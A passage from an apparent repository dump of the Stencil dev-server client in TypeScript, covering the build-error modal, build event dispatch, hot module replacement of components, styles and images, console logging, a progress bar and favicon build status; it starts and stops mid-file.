'dev-server-diagnostic-file-name';\n    fileName.textContent = parts.pop() ?? '';\n\n    const filePath = doc.createElement('span');\n    filePath.className = 'dev-server-diagnostic-file-path';\n    filePath.textContent = parts.join('/') + '/';\n\n    fileHeader.appendChild(filePath);\n    fileHeader.appendChild(fileName);\n    file.appendChild(fileHeader);\n  }\n\n  if (diagnostic.lines && diagnostic.lines.length > 0) {\n    const blob = doc.createElement('div');\n    blob.className = 'dev-server-diagnostic-blob';\n    file.appendChild(blob);\n\n    const table = doc.createElement('table');\n    table.className = 'dev-server-diagnostic-table';\n    blob.appendChild(table);\n\n    prepareLines(diagnostic.lines).forEach((l) => {\n      const tr = doc.createElement('tr');\n      if (l.errorCharStart > 0) {\n        tr.classList.add('dev-server-diagnostic-error-line');\n      }\n      if (canOpenInEditor) {\n        tr.classList.add('dev-server-diagnostic-open-in-editor');\n      }\n      table.appendChild(tr);\n\n      const tdNum = doc.createElement('td');\n      tdNum.className = 'dev-server-diagnostic-blob-num';\n      if (l.lineNumber > 0) {\n        tdNum.setAttribute('data-line-number', l.lineNumber + '');\n        tdNum.title = escapeHtml(diagnostic.relFilePath ?? '') + ', line ' + l.lineNumber;\n\n        const maybeFile = diagnostic.absFilePath;\n        if (canOpenInEditor && maybeFile) {\n          const column = l.lineNumber === diagnostic.lineNumber ? diagnostic.columnNumber : 1;\n          addOpenInEditor(openInEditor, tdNum, maybeFile, l.lineNumber, column);\n        }\n      }\n      tr.appendChild(tdNum);\n\n      const tdCode = doc.createElement('td');\n      tdCode.className = 'dev-server-diagnostic-blob-code';\n      tdCode.innerHTML = highlightError(l.text ?? '', l.errorCharStart, l.errorLength ?? 0);\n      tr.appendChild(tdCode);\n    });\n  }\n\n  modal.appendChild(card);\n};\n\nconst addOpenInEditor = (\n  openInEditor: OpenInEditorCallback,\n  elm: HTMLElement,\n  file: string,\n  line: number | undefined,\n  column: number | undefined,\n) => {\n  if (elm.tagName === 'A') {\n    (elm as HTMLAnchorElement).href = '#open-in-editor';\n  }\n\n  const lineNumber = typeof line !== 'number' || line < 1 ? 1 : line;\n\n  const columnNumber = typeof column !== 'number' || column < 1 ? 1 : column;\n\n  elm.addEventListener('click', (ev) => {\n    ev.preventDefault();\n    ev.stopPropagation();\n    openInEditor({\n      file: file,\n      line: lineNumber,\n      column: columnNumber,\n    });\n  });\n};\n\nconst getDevServerModal = (doc: Document): HTMLElement => {\n  let outer = doc.getElementById(DEV_SERVER_MODAL);\n  if (!outer) {\n    outer = doc.createElement('div');\n    outer.id = DEV_SERVER_MODAL;\n    outer.setAttribute('role', 'dialog');\n    doc.body.appendChild(outer);\n  }\n\n  outer.innerHTML = `<style>${appErrorCss}</style><div id=\"${DEV_SERVER_MODAL}-inner\"></div>`;\n\n  return doc.getElementById(`${DEV_SERVER_MODAL}-inner`) as HTMLElement;\n};\n\nexport const clearAppErrorModal = (data: { window: Window }) => {\n  const appErrorElm = data.window.document.getElementById(DEV_SERVER_MODAL);\n  if (appErrorElm?.parentNode) {\n    appErrorElm.parentNode.removeChild(appErrorElm);\n  }\n};\n\nconst escapeHtml = (unsafe: string) => {\n  if (typeof unsafe === 'number' || typeof unsafe === 'boolean') {\n    return (unsafe as any).toString();\n  }\n  if (typeof unsafe === 'string') {\n    return unsafe\n      .replace(/&/g, '&amp;')\n      .replace(/</g, '&lt;')\n      .replace(/>/g, '&gt;')\n      .replace(/\"/g, '&quot;')\n      .replace(/'/g, '&#039;');\n  }\n  return '';\n};\n\nconst titleCase = (str: string) => str.charAt(0).toUpperCase() + str.slice(1);\n\nconst highlightError = (text: string, errorCharStart: number, errorLength: number) => {\n  if (typeof text !== 'string') {\n    return '';\n  }\n\n  const errorCharEnd = errorCharStart + errorLength;\n\n  return text\n    .split('')\n    .map((inputChar, charIndex) => {\n      let outputChar: string;\n\n      if (inputChar === `<`) {\n        outputChar = `&lt;`;\n      } else if (inputChar === `>`) {\n        outputChar = `&gt;`;\n      } else if (inputChar === `\"`) {\n        outputChar = `&quot;`;\n      } else if (inputChar === `'`) {\n        outputChar = `&#039;`;\n      } else if (inputChar === `&`) {\n        outputChar = `&amp;`;\n      } else {\n        outputChar = inputChar;\n      }\n\n      if (charIndex >= errorCharStart && charIndex < errorCharEnd) {\n        outputChar = `<span class=\"dev-server-diagnostic-error-chr\">${outputChar}</span>`;\n      }\n\n      return outputChar;\n    })\n    .join('');\n};\n\nconst prepareLines = (orgLines: PrintLine[]) => {\n  const lines: PrintLine[] = JSON.parse(JSON.stringify(orgLines));\n\n  for (let i = 0; i < 100; i++) {\n    if (!eachLineHasLeadingWhitespace(lines)) {\n      return lines;\n    }\n    for (let i = 0; i < lines.length; i++) {\n      lines[i].text = lines[i].text?.slice(1) ?? '';\n      lines[i].errorCharStart--;\n      if (!lines[i].text?.length) {\n        return lines;\n      }\n    }\n  }\n\n  return lines;\n};\n\nconst eachLineHasLeadingWhitespace = (lines: PrintLine[]) => {\n  if (!lines.length) {\n    return false;\n  }\n\n  for (let i = 0; i < lines.length; i++) {\n    if (!lines[i].text || (lines[i].text?.length ?? 0) < 1) {\n      return false;\n    }\n    const firstChar = lines[i].text?.charAt(0);\n    if (firstChar !== ' ' && firstChar !== '\\t') {\n      return false;\n    }\n  }\n\n  return true;\n};\n\nconst DEV_SERVER_MODAL = `dev-server-modal`;\n"
  },
  {
    "path": "src/dev-server/client/events.ts",
    "content": "export const emitBuildLog = (win: Window, buildLog: any) => {\n  win.dispatchEvent(new CustomEvent(BUILD_LOG, { detail: buildLog }));\n};\n\nexport const emitBuildResults = (win: Window, buildResults: any) => {\n  win.dispatchEvent(new CustomEvent(BUILD_RESULTS, { detail: buildResults }));\n};\n\nexport const emitBuildStatus = (win: Window, buildStatus: string) => {\n  win.dispatchEvent(new CustomEvent(BUILD_STATUS, { detail: buildStatus }));\n};\n\nexport const onBuildLog = (win: Window, cb: (buildLog: any) => void) => {\n  win.addEventListener(BUILD_LOG, (ev: any) => {\n    cb(ev.detail);\n  });\n};\n\nexport const onBuildResults = (win: Window, cb: (buildResults: any) => void) => {\n  win.addEventListener(BUILD_RESULTS, (ev: any) => {\n    cb(ev.detail);\n  });\n};\n\nexport const onBuildStatus = (win: Window, cb: (buildStatus: string) => void) => {\n  win.addEventListener(BUILD_STATUS, (ev: any) => {\n    cb(ev.detail);\n  });\n};\n\nconst BUILD_LOG = `devserver:buildlog`;\nconst BUILD_RESULTS = `devserver:buildresults`;\nconst BUILD_STATUS = `devserver:buildstatus`;\n"
  },
  {
    "path": "src/dev-server/client/hmr-components.ts",
    "content": "import { HostElement } from '../../declarations';\nimport { hasShadowRoot, setHmrAttr } from './hmr-util';\n\n/**\n * Perform Hot Module Replacement for a given Stencil component (identified\n * uniquely via its tag name) in the DOM tree rooted at a given starting\n * element.\n *\n * @param element the root element within which to do Hot Module Replacement\n * @param versionId the current HMR version ID\n * @param hmrTagNames an out param containing a list of updated Stencil\n * component tag names\n * @returns a reference to the tag name array\n */\nexport const hmrComponents = (element: Element, versionId: string, hmrTagNames: string[]) => {\n  const updatedTags: string[] = [];\n\n  hmrTagNames.forEach((hmrTagName) => {\n    hmrComponent(updatedTags, element, versionId, hmrTagName);\n  });\n\n  return updatedTags.sort();\n};\n\n/**\n * Perform Hot Module Replacement (HMR) for a particular Stencil component\n * based on its tag name by searching through the DOM tree rooted at a starting\n * element and, if any element in the subtree has the tag name of interest,\n * calling the {@link HostElement['s-hmr']} callback on that element in order\n * to update it.\n *\n * This will also recur into the shadow root of any elements which have one, so\n * that nested components can also be reloaded.\n *\n * @param updatedTags an out param which will be modified to include the tag\n * names of any successfully-updated elements\n * @param element the element from which to start searching\n * @param versionId the current HMR version id\n * @param cmpTagName the tag name of interest\n */\nconst hmrComponent = (updatedTags: string[], element: Element, versionId: string, cmpTagName: string) => {\n  // drill down through every node in the page\n  // to include shadow roots and look for this\n  // component tag to run hmr() on\n  if (element.nodeName.toLowerCase() === cmpTagName && typeof (element as HostElement)['s-hmr'] === 'function') {\n    (element as HostElement)['s-hmr'](versionId);\n    setHmrAttr(element, versionId);\n\n    if (updatedTags.indexOf(cmpTagName) === -1) {\n      updatedTags.push(cmpTagName);\n    }\n  }\n\n  // recur into any elements which have a shadow root\n  if (hasShadowRoot(element)) {\n    hmrComponent(updatedTags, element.shadowRoot as any, versionId, cmpTagName);\n  }\n\n  if (element.children) {\n    for (let i = 0; i < element.children.length; i++) {\n      hmrComponent(updatedTags, element.children[i], versionId, cmpTagName);\n    }\n  }\n};\n"
  },
  {
    "path": "src/dev-server/client/hmr-external-styles.ts",
    "content": "import { getHmrHref, hasShadowRoot, isLinkStylesheet, isTemplate, setHmrAttr } from './hmr-util';\n\nexport const hmrExternalStyles = (elm: Element, versionId: string, cssFileNames: string[]) => {\n  if (isLinkStylesheet(elm)) {\n    cssFileNames.forEach((cssFileName) => {\n      hmrStylesheetLink(elm as HTMLLinkElement, versionId, cssFileName);\n    });\n  }\n\n  if (isTemplate(elm)) {\n    hmrExternalStyles((elm as HTMLTemplateElement).content as any, versionId, cssFileNames);\n  }\n\n  if (hasShadowRoot(elm)) {\n    hmrExternalStyles(elm.shadowRoot as any, versionId, cssFileNames);\n  }\n\n  if (elm.children) {\n    for (let i = 0; i < elm.children.length; i++) {\n      hmrExternalStyles(elm.children[i], versionId, cssFileNames);\n    }\n  }\n\n  return cssFileNames.sort();\n};\n\nconst hmrStylesheetLink = (styleSheetElm: HTMLLinkElement, versionId: string, cssFileName: string) => {\n  const orgHref = styleSheetElm.getAttribute('href');\n  const newHref = getHmrHref(versionId, cssFileName, styleSheetElm.href);\n  if (newHref !== orgHref) {\n    styleSheetElm.setAttribute('href', newHref);\n    setHmrAttr(styleSheetElm, versionId);\n  }\n};\n"
  },
  {
    "path": "src/dev-server/client/hmr-images.ts",
    "content": "import {\n  getHmrHref,\n  hasShadowRoot,\n  isElement,\n  isLinkStylesheet,\n  isTemplate,\n  setHmrAttr,\n  setHmrQueryString,\n  setQueryString,\n  updateCssUrlValue,\n} from './hmr-util';\n\nexport const hmrImages = (win: Window, doc: Document, versionId: string, imageFileNames: string[]) => {\n  if (win.location.protocol !== 'file:' && doc.styleSheets) {\n    hmrStyleSheetsImages(doc, versionId, imageFileNames);\n  }\n\n  hmrImagesElements(win, doc.documentElement, versionId, imageFileNames);\n\n  return imageFileNames.sort();\n};\n\nconst hmrStyleSheetsImages = (doc: Document, versionId: string, imageFileNames: string[]) => {\n  const cssImageProps = Object.keys(doc.documentElement.style).filter((cssProp) => {\n    return cssProp.endsWith('Image');\n  });\n\n  for (let i = 0; i < doc.styleSheets.length; i++) {\n    hmrStyleSheetImages(cssImageProps, doc.styleSheets[i] as CSSStyleSheet, versionId, imageFileNames);\n  }\n};\n\nconst hmrStyleSheetImages = (\n  cssImageProps: string[],\n  styleSheet: CSSStyleSheet,\n  versionId: string,\n  imageFileNames: string[],\n) => {\n  try {\n    const cssRules = styleSheet.cssRules;\n    for (let i = 0; i < cssRules.length; i++) {\n      const cssRule = cssRules[i];\n\n      switch (cssRule.type) {\n        case CSSRule.IMPORT_RULE:\n          hmrStyleSheetImages(cssImageProps, (cssRule as CSSImportRule).styleSheet, versionId, imageFileNames);\n          break;\n\n        case CSSRule.STYLE_RULE:\n          hmrStyleSheetRuleImages(cssImageProps, cssRule as CSSStyleRule, versionId, imageFileNames);\n          break;\n\n        case CSSRule.MEDIA_RULE:\n          hmrStyleSheetImages(cssImageProps, cssRule as any, versionId, imageFileNames);\n          break;\n      }\n    }\n  } catch (e) {\n    console.error('hmrStyleSheetImages: ' + e);\n  }\n};\n\nconst hmrStyleSheetRuleImages = (\n  cssImageProps: string[],\n  cssRule: CSSStyleRule,\n  versionId: string,\n  imageFileNames: string[],\n) => {\n  cssImageProps.forEach((cssImageProp) => {\n    imageFileNames.forEach((imageFileName) => {\n      const oldCssText = (cssRule as any).style[cssImageProp];\n      const newCssText = updateCssUrlValue(versionId, imageFileName, oldCssText);\n\n      if (oldCssText !== newCssText) {\n        (cssRule as any).style[cssImageProp] = newCssText;\n      }\n    });\n  });\n};\n\nconst hmrImagesElements = (win: Window, elm: Element, versionId: string, imageFileNames: string[]) => {\n  const tagName = elm.nodeName.toLowerCase();\n  if (tagName === 'img') {\n    hmrImgElement(elm as HTMLImageElement, versionId, imageFileNames);\n  }\n\n  if (isElement(elm)) {\n    const styleAttr = elm.getAttribute('style');\n    if (styleAttr) {\n      hmrUpdateStyleAttr(elm, versionId, imageFileNames, styleAttr);\n    }\n  }\n\n  if (tagName === 'style') {\n    hmrUpdateStyleElementUrl(elm as HTMLStyleElement, versionId, imageFileNames);\n  }\n\n  if (win.location.protocol !== 'file:' && isLinkStylesheet(elm)) {\n    hmrUpdateLinkElementUrl(elm as HTMLLinkElement, versionId, imageFileNames);\n  }\n\n  if (isTemplate(elm)) {\n    hmrImagesElements(win, (elm as HTMLTemplateElement).content as any, versionId, imageFileNames);\n  }\n\n  if (hasShadowRoot(elm)) {\n    hmrImagesElements(win, elm.shadowRoot as any, versionId, imageFileNames);\n  }\n\n  if (elm.children) {\n    for (let i = 0; i < elm.children.length; i++) {\n      hmrImagesElements(win, elm.children[i], versionId, imageFileNames);\n    }\n  }\n};\n\nconst hmrImgElement = (imgElm: HTMLImageElement, versionId: string, imageFileNames: string[]) => {\n  imageFileNames.forEach((imageFileName) => {\n    const orgSrc = imgElm.getAttribute('src');\n    const newSrc = getHmrHref(versionId, imageFileName, orgSrc);\n    if (newSrc !== orgSrc) {\n      imgElm.setAttribute('src', newSrc);\n      setHmrAttr(imgElm, versionId);\n    }\n  });\n};\n\nconst hmrUpdateStyleAttr = (elm: Element, versionId: string, imageFileNames: string[], oldStyleAttr: string) => {\n  imageFileNames.forEach((imageFileName) => {\n    const newStyleAttr = updateCssUrlValue(versionId, imageFileName, oldStyleAttr);\n\n    if (newStyleAttr !== oldStyleAttr) {\n      elm.setAttribute('style', newStyleAttr);\n      setHmrAttr(elm, versionId);\n    }\n  });\n};\n\nconst hmrUpdateStyleElementUrl = (styleElm: HTMLStyleElement, versionId: string, imageFileNames: string[]) => {\n  imageFileNames.forEach((imageFileName) => {\n    const oldCssText = styleElm.innerHTML;\n    const newCssText = updateCssUrlValue(versionId, imageFileName, oldCssText);\n    if (newCssText !== oldCssText) {\n      styleElm.innerHTML = newCssText;\n      setHmrAttr(styleElm, versionId);\n    }\n  });\n};\n\nconst hmrUpdateLinkElementUrl = (linkElm: HTMLLinkElement, versionId: string, imageFileNames: string[]) => {\n  linkElm.href = setQueryString(linkElm.href, 's-hmr-urls', imageFileNames.sort().join(','));\n  linkElm.href = setHmrQueryString(linkElm.href, versionId);\n  // TODO(STENCIL-958): determine if we need to set this attribute\n  linkElm.setAttribute('data-hmr', versionId);\n};\n"
  },
  {
    "path": "src/dev-server/client/hmr-inline-styles.ts",
    "content": "import { HmrStyleUpdate } from '../../declarations';\nimport { hasShadowRoot, isElement, isTemplate } from './hmr-util';\n\nexport const hmrInlineStyles = (elm: Element, versionId: string, stylesUpdatedData: any[]) => {\n  const stylesUpdated: HmrStyleUpdate[] = stylesUpdatedData;\n  if (isElement(elm) && elm.nodeName.toLowerCase() === 'style') {\n    stylesUpdated.forEach((styleUpdated) => {\n      hmrStyleElement(elm, versionId, styleUpdated);\n    });\n  }\n\n  if (isTemplate(elm)) {\n    hmrInlineStyles((elm as HTMLTemplateElement).content as any, versionId, stylesUpdated);\n  }\n\n  if (hasShadowRoot(elm)) {\n    hmrInlineStyles(elm.shadowRoot as any, versionId, stylesUpdated);\n  }\n\n  if (elm.children) {\n    for (let i = 0; i < elm.children.length; i++) {\n      hmrInlineStyles(elm.children[i], versionId, stylesUpdated);\n    }\n  }\n\n  return stylesUpdated\n    .map((s) => s.styleTag)\n    .reduce((arr, v) => {\n      if (arr.indexOf(v) === -1) {\n        arr.push(v);\n      }\n      return arr;\n    }, [])\n    .sort();\n};\n\nconst hmrStyleElement = (elm: Element, versionId: string, stylesUpdated: HmrStyleUpdate) => {\n  const styleId = elm.getAttribute('sty-id');\n  if (styleId === stylesUpdated.styleId && stylesUpdated.styleText) {\n    // if we made it this far then it's a match!\n    // update the new style text\n    elm.innerHTML = stylesUpdated.styleText.replace(/\\\\n/g, '\\n');\n    // TODO(STENCIL-958): determine if we need to set this attribute\n    elm.setAttribute('data-hmr', versionId);\n  }\n};\n"
  },
  {
    "path": "src/dev-server/client/hmr-util.ts",
    "content": "import { NODE_TYPE } from '../../runtime/runtime-constants';\n\nexport const getHmrHref = (versionId: string, fileName: string, testUrl: string) => {\n  if (typeof testUrl === 'string' && testUrl.trim() !== '') {\n    if (getUrlFileName(fileName) === getUrlFileName(testUrl)) {\n      // only compare by filename w/out querystrings, not full path\n      return setHmrQueryString(testUrl, versionId);\n    }\n  }\n  return testUrl;\n};\n\nconst getUrlFileName = (url: string) => {\n  // not using URL because IE11 doesn't support it\n  const splt = url.split('/');\n  return splt[splt.length - 1].split('&')[0].split('?')[0];\n};\n\nconst parseQuerystring = (oldQs: string) => {\n  const newQs: { [key: string]: string } = {};\n  if (typeof oldQs === 'string') {\n    oldQs.split('&').forEach((kv) => {\n      const splt = kv.split('=');\n      newQs[splt[0]] = splt[1] ? splt[1] : '';\n    });\n  }\n  return newQs;\n};\n\nconst stringifyQuerystring = (qs: { [key: string]: string }) =>\n  Object.keys(qs)\n    .map((key) => key + '=' + qs[key])\n    .join('&');\n\nexport const setQueryString = (url: string, qsKey: string, qsValue: string) => {\n  // not using URL because IE11 doesn't support it\n  const urlSplt = url.split('?');\n  const urlPath = urlSplt[0];\n  const qs = parseQuerystring(urlSplt[1]);\n  qs[qsKey] = qsValue;\n  return urlPath + '?' + stringifyQuerystring(qs);\n};\n\nexport const setHmrQueryString = (url: string, versionId: string) => setQueryString(url, 's-hmr', versionId);\n\nexport const updateCssUrlValue = (versionId: string, fileName: string, oldCss: string) => {\n  const reg = /url\\((['\"]?)(.*)\\1\\)/gi;\n  let result;\n  let newCss = oldCss;\n\n  while ((result = reg.exec(oldCss)) !== null) {\n    const url = result[2];\n    newCss = newCss.replace(url, getHmrHref(versionId, fileName, url));\n  }\n\n  return newCss;\n};\n\n/**\n * Determine whether a given element is a `<link>` tag pointing to a stylesheet\n *\n * @param elm the element to check\n * @returns whether or not the element is a link stylesheet\n */\nexport const isLinkStylesheet = (elm: Element): boolean =>\n  elm.nodeName.toLowerCase() === 'link' &&\n  !!(elm as HTMLLinkElement).href &&\n  !!(elm as HTMLLinkElement).rel &&\n  (elm as HTMLLinkElement).rel.toLowerCase() === 'stylesheet';\n\n/**\n * Determine whether or not a given element is a template element\n *\n * @param elm the element to check\n * @returns whether or not the element of interest is a template element\n */\nexport const isTemplate = (elm: Element) =>\n  elm.nodeName.toLowerCase() === 'template' &&\n  !!(elm as HTMLTemplateElement).content &&\n  (elm as HTMLTemplateElement).content.nodeType === NODE_TYPE.DocumentFragment;\n\n/**\n * Set a new hmr version ID into the `data-hmr` attribute on an element.\n *\n * @param elm the element on which to set the property\n * @param versionId a new HMR version id\n */\nexport const setHmrAttr = (elm: Element, versionId: string) => {\n  // TODO(STENCIL-958): determine if we need to set this attribute\n  elm.setAttribute('data-hmr', versionId);\n};\n\n/**\n * Determine whether or not an element has a shadow root\n *\n * @param elm the element to check\n * @returns whether or not it has a shadow root\n */\nexport const hasShadowRoot = (elm: Element): boolean =>\n  !!elm.shadowRoot && elm.shadowRoot.nodeType === NODE_TYPE.DocumentFragment && elm.shadowRoot !== (elm as any);\n\n/**\n * Determine whether or not an element is an element node\n *\n * @param elm the element to check\n * @returns whether or not it is an element node\n */\nexport const isElement = (elm: Element): boolean =>\n  !!elm && elm.nodeType === NODE_TYPE.ElementNode && !!elm.getAttribute;\n"
  },
  {
    "path": "src/dev-server/client/hmr-window.ts",
    "content": "import { HotModuleReplacement } from '../../declarations';\nimport { hmrComponents } from './hmr-components';\nimport { hmrExternalStyles } from './hmr-external-styles';\nimport { hmrImages } from './hmr-images';\nimport { hmrInlineStyles } from './hmr-inline-styles';\nimport { setHmrAttr } from './hmr-util';\n\nexport const hmrWindow = (data: { window: Window; hmr: any }) => {\n  const results = {\n    updatedComponents: [] as string[],\n    updatedExternalStyles: [] as string[],\n    updatedInlineStyles: [] as string[],\n    updatedImages: [] as string[],\n    versionId: '',\n  };\n\n  try {\n    if (\n      !data ||\n      !data.window ||\n      !data.window.document.documentElement ||\n      !data.hmr ||\n      typeof data.hmr.versionId !== 'string'\n    ) {\n      return results;\n    }\n\n    const win = data.window;\n    const doc = win.document;\n    const hmr: HotModuleReplacement = data.hmr;\n    const documentElement = doc.documentElement;\n    const versionId = hmr.versionId;\n    results.versionId = versionId;\n\n    if (hmr.componentsUpdated) {\n      results.updatedComponents = hmrComponents(documentElement, versionId, hmr.componentsUpdated);\n    }\n\n    if (hmr.inlineStylesUpdated) {\n      results.updatedInlineStyles = hmrInlineStyles(documentElement, versionId, hmr.inlineStylesUpdated);\n    }\n\n    if (hmr.externalStylesUpdated) {\n      results.updatedExternalStyles = hmrExternalStyles(documentElement, versionId, hmr.externalStylesUpdated);\n    }\n\n    if (hmr.imagesUpdated) {\n      results.updatedImages = hmrImages(win, doc, versionId, hmr.imagesUpdated);\n    }\n\n    setHmrAttr(documentElement, versionId);\n  } catch (e) {\n    console.error(e);\n  }\n\n  return results;\n};\n"
  },
  {
    "path": "src/dev-server/client/index.ts",
    "content": "export { appError, clearAppErrorModal } from './app-error';\nexport { emitBuildLog, emitBuildResults, emitBuildStatus, onBuildLog, onBuildResults, onBuildStatus } from './events';\nexport { hmrWindow } from './hmr-window';\nexport { logBuild, logDiagnostic, logDisabled, logReload, logWarn } from './logger';\nexport { initBuildProgress } from './progress';\nexport { initBuildStatus } from './status';\n"
  },
  {
    "path": "src/dev-server/client/logger.ts",
    "content": "import { Diagnostic } from '../../declarations';\n\nexport const logBuild = (msg: string) => log(BLUE, 'Build', msg);\n\nexport const logReload = (msg: string) => logWarn('Reload', msg);\n\nexport const logWarn = (prefix: string, msg: string) => log(YELLOW, prefix, msg);\n\nexport const logDisabled = (prefix: string, msg: string) => log(GRAY, prefix, msg);\n\nexport const logDiagnostic = (diag: Diagnostic) => {\n  const diagnostic: Diagnostic = diag;\n  let color = RED;\n  let prefix = 'Error';\n\n  if (diagnostic.level === 'warn') {\n    color = YELLOW;\n    prefix = 'Warning';\n  }\n\n  if (diagnostic.header) {\n    prefix = diagnostic.header;\n  }\n\n  let msg = ``;\n\n  if (diagnostic.relFilePath) {\n    msg += diagnostic.relFilePath;\n\n    if (typeof diagnostic.lineNumber === 'number' && diagnostic.lineNumber > 0) {\n      msg += ', line ' + diagnostic.lineNumber;\n\n      if (typeof diagnostic.columnNumber === 'number' && diagnostic.columnNumber > 0) {\n        msg += ', column ' + diagnostic.columnNumber;\n      }\n    }\n    msg += `\\n`;\n  }\n\n  msg += diagnostic.messageText;\n\n  log(color, prefix, msg);\n};\n\nconst log = (color: string, prefix: string, msg: string) => {\n  if (typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.indexOf('Trident') > -1) {\n    console.log(prefix, msg);\n  } else {\n    console.log.apply(console, [\n      '%c' + prefix,\n      `background: ${color}; color: white; padding: 2px 3px; border-radius: 2px; font-size: 0.8em;`,\n      msg,\n    ]);\n  }\n};\n\nconst YELLOW = `#f39c12`;\nconst RED = `#c0392b`;\nconst BLUE = `#3498db`;\nconst GRAY = `#717171`;\n"
  },
  {
    "path": "src/dev-server/client/progress.ts",
    "content": "import { onBuildLog, onBuildResults, onBuildStatus } from './events';\n\nexport const initBuildProgress = (data: { window: Window }) => {\n  const win = data.window;\n  const doc = win.document;\n  const barColor = `#5851ff`;\n  const errorColor = `#b70c19`;\n  let addBarTimerId: any;\n  let removeBarTimerId: any;\n  let opacityTimerId: any;\n  let incIntervalId: any;\n  let progressIncrease: number;\n  let currentProgress = 0;\n\n  function update() {\n    clearTimeout(opacityTimerId);\n    clearTimeout(removeBarTimerId);\n\n    const progressBar = getProgressBar();\n    if (!progressBar) {\n      createProgressBar();\n      addBarTimerId = setTimeout(update, 16);\n      return;\n    }\n    progressBar.style.background = barColor;\n    progressBar.style.opacity = `1`;\n    progressBar.style.transform = `scaleX(${Math.min(1, displayProgress())})`;\n\n    if (incIntervalId == null) {\n      incIntervalId = setInterval(() => {\n        progressIncrease += Math.random() * 0.05 + 0.01;\n        if (displayProgress() < 0.9) {\n          update();\n        } else {\n          clearInterval(incIntervalId);\n        }\n      }, 800);\n    }\n  }\n\n  function reset() {\n    clearInterval(incIntervalId);\n    progressIncrease = 0.05;\n    incIntervalId = null;\n    clearTimeout(opacityTimerId);\n    clearTimeout(addBarTimerId);\n    clearTimeout(removeBarTimerId);\n\n    const progressBar = getProgressBar();\n    if (progressBar) {\n      if (currentProgress >= 1) {\n        progressBar.style.transform = `scaleX(1)`;\n      }\n\n      opacityTimerId = setTimeout(() => {\n        try {\n          const progressBar = getProgressBar();\n          if (progressBar) {\n            progressBar.style.opacity = `0`;\n          }\n        } catch (e) {}\n      }, 150);\n\n      removeBarTimerId = setTimeout(() => {\n        try {\n          const progressBar = getProgressBar();\n          if (progressBar) {\n            progressBar.parentNode.removeChild(progressBar);\n          }\n        } catch (e) {}\n      }, 1000);\n    }\n  }\n\n  function displayProgress() {\n    const p = currentProgress + progressIncrease;\n    return Math.max(0, Math.min(1, p));\n  }\n\n  reset();\n\n  onBuildLog(win, (buildLog) => {\n    currentProgress = buildLog.progress;\n\n    if (currentProgress >= 0 && currentProgress < 1) {\n      update();\n    } else {\n      reset();\n    }\n  });\n\n  onBuildResults(win, (buildResults) => {\n    if (buildResults.hasError) {\n      const progressBar = getProgressBar();\n      if (progressBar) {\n        progressBar.style.transform = `scaleX(1)`;\n        progressBar.style.background = errorColor;\n      }\n    }\n    reset();\n  });\n\n  onBuildStatus(win, (buildStatus) => {\n    if (buildStatus === 'disabled') {\n      reset();\n    }\n  });\n\n  if (doc.head.dataset.tmpl === 'tmpl-initial-load') {\n    update();\n  }\n\n  const PROGRESS_BAR_ID = `dev-server-progress-bar`;\n\n  function getProgressBar() {\n    return doc.getElementById(PROGRESS_BAR_ID);\n  }\n\n  function createProgressBar() {\n    const progressBar = doc.createElement('div');\n    progressBar.id = PROGRESS_BAR_ID;\n    progressBar.style.position = `absolute`;\n    progressBar.style.top = `0`;\n    progressBar.style.left = `0`;\n    progressBar.style.zIndex = `100001`;\n    progressBar.style.width = `100%`;\n    progressBar.style.height = `2px`;\n    progressBar.style.transform = `scaleX(0)`;\n    progressBar.style.opacity = `1`;\n    progressBar.style.background = barColor;\n    progressBar.style.transformOrigin = `left center`;\n    progressBar.style.transition = `transform .1s ease-in-out, opacity .5s ease-in`;\n    (progressBar.style as any).contain = `strict`;\n    doc.body.appendChild(progressBar);\n  }\n};\n"
  },
  {
    "path": "src/dev-server/client/status.ts",
    "content": "import { onBuildStatus } from './events';\n\nexport const initBuildStatus = (data: { window: Window }) => {\n  const win = data.window;\n  const doc = win.document;\n  const iconElms = getFavIcons(doc);\n\n  iconElms.forEach((iconElm) => {\n    if (iconElm.href) {\n      iconElm.dataset.href = iconElm.href;\n      iconElm.dataset.type = iconElm.type;\n    }\n  });\n\n  onBuildStatus(win, (buildStatus) => {\n    updateBuildStatus(doc, buildStatus);\n  });\n};\n\nconst updateBuildStatus = (doc: Document, status: string) => {\n  const iconElms = getFavIcons(doc);\n\n  iconElms.forEach((iconElm) => {\n    updateFavIcon(iconElm, status);\n  });\n};\n\nexport const updateFavIcon = (linkElm: HTMLLinkElement, status: string) => {\n  if (status === 'pending') {\n    linkElm.href = ICON_PENDING;\n    linkElm.type = ICON_TYPE;\n    linkElm.setAttribute('data-status', status);\n  } else if (status === 'error') {\n    linkElm.href = ICON_ERROR;\n    linkElm.type = ICON_TYPE;\n    linkElm.setAttribute('data-status', status);\n  } else if (status === 'disabled') {\n    linkElm.href = ICON_DISABLED;\n    linkElm.type = ICON_TYPE;\n    linkElm.setAttribute('data-status', status);\n  } else {\n    linkElm.removeAttribute('data-status');\n    if (linkElm.dataset.href) {\n      linkElm.href = linkElm.dataset.href;\n      linkElm.type = linkElm.dataset.type;\n    } else {\n      linkElm.href = ICON_DEFAULT;\n      linkElm.type = ICON_TYPE;\n    }\n  }\n};\n\nconst getFavIcons = (doc: Document) => {\n  const iconElms: HTMLLinkElement[] = [];\n  const linkElms = doc.querySelectorAll('link');\n\n  for (let i = 0; i < linkElms.length; i++) {\n    if (\n      linkElms[i].href &&\n      linkElms[i].rel &&\n      (linkElms[i].rel.indexOf('shortcut') > -1 || linkElms[i].rel.indexOf('icon') > -1)\n    ) {\n      iconElms.push(linkElms[i]);\n    }\n  }\n\n  if (iconElms.length === 0) {\n    const linkElm = doc.createElement('link');\n    linkElm.rel = 'shortcut icon';\n    doc.head.appendChild(linkElm);\n    iconElms.push(linkElm);\n  }\n\n  return iconElms;\n};\n\nconst ICON_DEFAULT =\n  